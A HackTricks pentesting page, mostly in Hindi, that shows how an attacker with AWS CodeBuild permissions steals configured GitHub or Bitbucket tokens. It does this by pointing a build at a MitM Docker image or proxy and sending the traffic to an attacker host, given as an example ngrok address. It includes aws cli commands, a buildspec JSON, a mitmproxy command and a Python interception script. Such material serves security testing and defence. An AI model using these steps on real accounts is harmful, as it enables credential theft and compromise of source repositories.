AWS Codebuild - Token Leakage

Support HackTricks

Recover Github/Bitbucket Configured Tokens

पहले, जांचें कि क्या कोई स्रोत क्रेडेंशियल्स कॉन्फ़िगर किए गए हैं जिन्हें आप लीक कर सकते हैं:

aws codebuild list-source-credentials

Via Docker Image

यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप exfiltrate उस access (GH token या OAuth token) को प्राप्त कर सकते हैं जिससे Codebuild को एक विशिष्ट docker image का उपयोग करने के लिए कहा जाए ताकि प्रोजेक्ट का निर्माण किया जा सके।

इसके लिए आप एक नया Codebuild प्रोजेक्ट बना सकते हैं या एक मौजूदा प्रोजेक्ट के environment को बदल सकते हैं ताकि Docker image सेट किया जा सके।

आप जो Docker image उपयोग कर सकते हैं वह है https://github.com/carlospolop/docker-mitm। यह एक बहुत बुनियादी Docker image है जो env variables https_proxy, http_proxy और SSL_CERT_FILE सेट करेगा। यह आपको https_proxy और http_proxy में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने की अनुमति देगा और SSL_CERT_FILE में निर्दिष्ट SSL CERT पर भरोसा करेगा।

  1. अपना खुद का Docker MitM image बनाएं और अपलोड करें

  • अपने प्रॉक्सी IP पते को सेट करने और अपने SSL cert को सेट करने के लिए repo के निर्देशों का पालन करें और docker image बनाएं

  • http_proxy सेट न करें ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके।

  • आप ngrok का उपयोग कर सकते हैं जैसे ngrok tcp 4444 अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए।

  • एक बार जब आपके पास Docker image बन जाए, तो इसे एक सार्वजनिक repo (Dockerhub, ECR...) में अपलोड करें।

  1. पर्यावरण सेट करें

  • एक नया Codebuild प्रोजेक्ट बनाएं या एक मौजूदा प्रोजेक्ट के वातावरण को संशोधित करें।

  • प्रोजेक्ट को पूर्व में उत्पन्न Docker image का उपयोग करने के लिए सेट करें।

  1. अपने होस्ट में MitM प्रॉक्सी सेट करें

  • जैसा कि Github repo में संकेतित किया गया है, आप कुछ ऐसा उपयोग कर सकते हैं:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

mitmproxy संस्करण 9.0.1 का उपयोग किया गया था, रिपोर्ट किया गया था कि संस्करण 10 के साथ यह काम नहीं कर सकता।

  1. बिल्ड चलाएँ और क्रेडेंशियल्स कैप्चर करें

  • आप Authorization हेडर में टोकन देख सकते हैं:

यह aws cli से भी कुछ इस तरह किया जा सकता है

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

HTTP प्रोटोकॉल के माध्यम से

यह कमजोरियों को AWS ने 20 फरवरी 2023 के सप्ताह में किसी समय (मुझे लगता है कि शुक्रवार को) ठीक किया। इसलिए एक हमलावर इसका दुरुपयोग नहीं कर सकता :)

एक हमलावर के पास CodeBuild में उच्च अनुमतियाँ होने पर Github/Bitbucket टोकन लीक कर सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई हैं, तो कोड तक पहुँचने के लिए उपयोग किया जाने वाला अस्थायी OAuth टोकन

  • एक हमलावर पर्यावरण चर http_proxy और https_proxy को CodeBuild प्रोजेक्ट में अपने मशीन की ओर इंगित कर सकता है (उदाहरण के लिए http://5.tcp.eu.ngrok.io:14972)।

  • फिर, गिटहब रेपो का URL HTTP का उपयोग करने के लिए बदलें, HTTPS के बजाय, उदाहरण के लिए: **http://**github.com/carlospolop-forks/TestActions

  • फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित किए गए पोर्ट में https://github.com/synchronizing/mitm से बुनियादी उदाहरण चलाएँ।

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • अंत में, प्रोजेक्ट बनाएं पर क्लिक करें, क्रेडेंशियल्स स्पष्ट पाठ (base64) में mitm पोर्ट पर भेजे जाएंगे:

अब एक हमलावर अपने मशीन से टोकन का उपयोग कर सकेगा, सभी विशेषाधिकारों की सूची बना सकेगा और (ab) सीधे CodeBuild सेवा का उपयोग करने की तुलना में इसे अधिक आसानी से उपयोग कर सकेगा।

HackTricks का समर्थन करें

Last updated